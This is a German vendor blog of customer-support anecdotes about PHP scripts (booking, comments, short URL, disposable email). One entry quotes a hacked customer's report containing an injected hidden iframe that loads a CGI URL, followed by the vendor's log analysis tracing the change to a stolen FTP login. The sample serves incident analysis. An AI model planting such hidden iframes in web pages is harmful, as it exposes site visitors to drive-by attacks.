ScriptBlogger

Ein Kunde fragte nach der aktuellen Version des Schedule Organizer und schrieb:

I purchased your script a few years ago, the customer I purchased it for went out of business and never paid me.

Man soll die Hoffnung aber nie aufgeben.

I now have a new client that requires a booking script

:-)

Das ist mir auch noch nicht passiert. Ich musste heute gleich bei zwei Script-Installationen aufgeben. Das Kommentar-Script ließ sich nicht auf einem IIS mit PHP 4.3.0 zum Laufen bewegen. Keine Fehlermeldung und nix.

Das Wegwerf-E-Mail-Script hatte auf einem Linux-Server mit PHP 5.3.0 Probleme, obwohl es hier lokal damit anstandslos lief. :-(

Ich mach' mich mal auf die Suche nach dem Klabautermann. ;-)

Ein Kunde schrieb:

Leider bekomme ich keinen FTP-Zugang von deren EDV-Berater. Ich muss also dem EDV-Berater die Daten mailen, und der stellt die dann drauf (umständlicher geht es wohl auch nicht mehr).

Blöd nur, dass Funktionen der Website kaputt sind und sich die Reparatur durch die Umständlichkeit in die Länge zieht. Das kostet Zeit, Geld und dem Betreiber Kunden. *kopfschüttel*

Leider ein trauriger Anlass, der zu dieser Anfrage führte:

Hello, I was wanting to use your comments script on a website. I was hoping I could explain the site real quick. Officer Jesse H. was killed in the line of Duty on friday. I setup a memorial site [...] for him. This
happened pretty suddenly so we're not exactly financially ready for any of it. Would you mind donating your comments script?

Da hat jemand was dagegen, dass wir mit unseren Scripten Geld verdienen.

My dear friends,

You are trying to get money with scripts well known all around the world. All of your scripts are nothing new, but the willing to make money automaticaly clears you from my list.

No regards my dear friends.

Nachricht eines Kunden unseres Terminplaners nach mehreren Support-Antworten durch uns:

Just wanted to say great script i can see how the schedule organizer can make life easier.

:-)

Auf die Bestellung des Installationsservice für unseren Schedule Organizer antworteten wir wie immer mit einem Fragebogen per E-Mail. Der sorgte etwas für Verwirrung:

Wer hat denn einen Auftrag bei Ihnen erteilt?  Es kommt mir komisch vor, dass in Ihrer Mail keine Rückruf-Telefonnummer angegeben ist.

Uups, Signatur vergessen einzufügen. :oops:

Ein Kunde unseres Wegwerf-E-Mail-Scripts hatte ein Problem und meldete sich deshalb im Support-Forum. Unser Tipp half bei der Lösung und der Kunde schrieb dann noch:

Vielleicht nochmal zur Info, hab mir nen Managed RooT Server zugelegt ... wobei ich glaub, das war nen FEHLER ... hmpf...

Da konnten wir uns folgenden Hinweis nicht verkneifen:

Ein Fehler ist der Managed Root sicherlich nicht, aber eventuell etwas überdimensioniert. :-) Gibt schlimmeres. Da ist auf jeden Fall noch Platz für das Kurz-URL-Script. ;-)

Und die Antwort:

[offtopic-ON]Na bei diesem netten Wink, hab ich es doch glatt gleich mal bestellt :D :D :D [offtopic-OFF]

So, gestern Abend nochmal ausgiebig getestet - und es funktioniert einwandfrei !!!

Kann ich nur jedem Empfehlen ... zu kaufen

:-)

Aus dem Support:

This works perfect for me, God bless the creators of [Schedule Organizer] for making this such a versatile app.

:-)

Interessante Ortsnamen unserer Kunden mal wieder.

PLZ + Stadt = Niceville
Land = USA
Staat / Provinz = Florida

PLZ vergessen unmöglich:

PLZ + Stadt = 00000 Panama
Land = Panama

PLZ + Stadt = Hong Kong
Land = Hong Kong

Lauschiges Städtchen? Der Name lässt eher nichts Gutes ahnen.

Stadt = City of Industry
Land = USA / Vereinigte Staaten
Staat / Provinz = California

Aus dem Support:

The other thing is minor but I would like to change copy on the 'thank you' page, but I'll be buggered if I can find where the code and/or text is hiding.

:-D

Hinweis: Es folgt eine etwas längliche Forums- und Mail-Korrespondenz. :-P

Letztens schrieb ein Kunde folgendes im Support-Forum:

Script Vulnerability!

Today my site, which uses the short URL script, was "hacked" via the script using iframe injection in to a few PHP files, according to my hosting company.

When I went to my site, the main page was not working at all. It displayed a php error for index.php. When I went to that file, I found the following code at the bottom of the file:

Code:
<iframe src="http://example.com
<iframe src="http://example.com/path/file.cgi?parameter" width=125 height=125 style="visibility: hidden"></iframe>

Obviously, I never added this code. When I contacted my hosting company, they said that it was not due to anyone taking over my account, but rather a vulnerability in the short URL script that allows iframe injection.

Der Kunde ließ uns FTP-Zugang, Zugang zum Control Panel des Web-Accounts und die FTP-Logdatei zukommen. Das Ergebnis war, dass es kaum möglich sein konnte, dass unser Script für das Problem verantwortlich war. Für das Ändern der Dateien wurde der FTP-Account des Kunden genutzt. Hätten die Hacker jedoch eine Lücke im Script benutzt, wäre die Aktivität in der Access-Log und nicht in der FTP-Log aufgetaucht. Das schrieben wir auch dem Kunden.

First of all you should change the passwords of all your FTP accounts and run a virus check on your computer. As the log file you've send me clearly states, someone used the FTP username "[gelöscht]" for downloading and uploading those files.

It is interesting that the webhosting people blame the script. The script doesn't know your FTP account. There is no way for anyone to get the script to tell them your FTP account (that I can see).

Even file inclusion - a popular hacking method - is not possible. The input from the form will be stored in the database. No inclusion of any file of the script depends on user input. Besides, if someone used the script to place that code on your server, it wouldn't show in the FTP log file. It would show in the access log file.

I've downloaded the access log files via your control panel. There is no unusual activity with the script around the time your server got hacked.

Also, the hackers didn't know what they were doing. While changing those files, they broke the script. But if they were able to know the script well enough to hack it, they wouldn't have broken it. They would have made sure that it continues to run smoothly so that nobody notices anything wrong. They would have hacked the HTML template files, not the PHP code files.

As far as I can see there are two possibilities here: Firstly, your webhosting company got hacked and someone stole a bunch of FTP accounts. Or secondly, someone installed a trojan horse or a keylogger on your computer and stole the FTP login this way.

I can't dismiss entirely the possibility, that the script got hacked. That wouldn't be the first time one of our scripts had a security hole. We always were able to find the bug and fix it within hours, but I can't see a connection between the hack and the Short URL script other than the script got changed during the hack.

If your webhosting company can provide evidence that our script is indeed the culprit, I'd happily use that evidence to fix the script.

If you have any questions, let me know.

Und hier die Antwort:

I contacted my hosting company again and sent them a copy of your e-mail. After further investigation they stated that your explanations are correct, and that the script is NOT at fault. We're still working out to determine the cause, however it was not the script. They were too quick to judge the script without first properly conducting an investigation in to the FTP logs, and I have made that complaint clear to them. I apologize for this and I thank you very much for your e-mail.

:-)

Ab und an kommen hier Anfragen von Leuten, die unsere Scripte ermäßigt oder gar kostenlos haben wollen. Das Gros kommt dabei von gemeinnützigen Vereinen, kirchlichen Organisationen, Studenten, Rentnern. Folgende Argumentation ist jedoch neu:

We want tobuy the software but can pay only usd 10/- for this script. All major softwares are offering almost 50 -60% discount now a days due to recession.

Aber selbst mit einer Absage gibt man sich nicht zufrieden:

Hello GentleSource,

we are requesting you for discount to make it USD 10 for the script

otherwise thank you.

Best Regards

Ist es tatsächlich so schwer zu verstehen, dass wir nicht wahllos Preisnachlässe gewähren?

Der Nutzer schreibt, dass beim Aufruf des Scripts folgende Fehlermeldung angezeigt wird:

Warning: main(output.class.inc.php) [function.main]: failed to open stream: No such file or directory in [...]

Okay, auf manchen verkorksten Servern kann das alles mögliche heißen, aber in 99,9% aller Fälle bedeutet es genau das: Es fehlt die in der Fehlermeldung erwähnte Datei. Also haben wir den Nutzer entsprechend instruiert:

Could you please check if there is a file named output.class.inc.php in the folder /include/. If not, please make sure that you've uploaded all script files to your server.

Natürlich kam als Antwort:

Yes I have the file output.class.inc.php in my /include/ folder on the server.

Vielleicht war es ja doch einer dieser Sonderfälle, dachten wir uns. Der Zugriff per FTP brachte es dann ans Licht.

Irgendjemand hat da wohl was auf den Augen. ;-)

Da kauft jemand unser Script, bekommt es nicht zum Laufen und beschwert sich. Da wir keine Chance bekommen, das Problem zu lösen, erstatten wir den Kaufpreis. Einen Monat später meldet sich der Kunde erneut - mit einer Frage zu einem anderen Script.

Da wir das unkooperative Verhalten noch gut in Erinnerung hatten und uns für jede Rückbuchung Kosten entstehen, hatten wir keine Lust mehr auf den Kunden.

Guten Tag,
wir möchten Sie höflichst bitten, unsere Scripte nicht mehr zu nutzen. Beim letzten Mal haben wir Geld eingebüßt und mussten nicht sehr nette von Ihnen E-Mails lesen. Bitte machen Sie sich auch nicht die Mühe, auf diese E-Mail zu antworten.

Das ist zugegebenermaßen etwas harsch. Das fand wohl auch der Kunde und ignorierte unseren Wunsch.

Sehr geehrter Herr Stadthaus,
ich kann mich nicht daran erinnern dass der von mir gezahlte Rechnungsbetrag von Ihnen zurück erstattet wurde.
Insofern tun Sie doch bitte nicht so, als ob Ihnen ein Schaden entstanden wäre.
Mir ist er entstanden und offensichtlich ist das Ihre besondere Art mit Problemen umzugehen!
Sehr professionell!

Dass Leute den Namen Stadtaus mit h schreiben und sprechen, ist nichts neues. Man weist sie freundlich darauf hin und das Problem ist erledigt. Außerdem haben wir noch die Nachricht vom Zahlungsanbieter mitgeschickt, in der die Rückbuchung bestätigt wird. Die Antwort:

Sehr geehrter Herr Stadtaus,
den Schreibfehler Ihres Namens zu bemängeln erzählt eine Menge darüber wie Sie mit Kunden umgehen.
Es ist offensichtlich wichtiger, was ich durchaus verstehen kann, statt ein Kundenproblem zu lösen!
Man nennt das wohl Prioritäten.
Zur Rückbuchung des ´Betrages ist es nicht gekommen.
Dazu liegt mir entsprechender Schriftwechsel mit share-it vor.

Es wäre interessant gewesen zu wissen, warum es nicht zu einer Rückbuchung gekommen ist. Eine Nachfrage beim Zahlungsanbieter ergab nun folgendes:

Wir haben für diese Bestellung die Rückerstattung eingeleitet, aber der
Kunde ist mit der Rückerstattung nicht einverstanden. Der Kunde hat uns
mitgeteilt, dass er die Ware behalten will. Somit wurde der
Rückerstattungsprozess abgebrochen.

Anscheinend hat der Kunde sein ursprüngliches Problem selbst lösen können. Es wäre hilfreich gewesen, das zu erwähnen.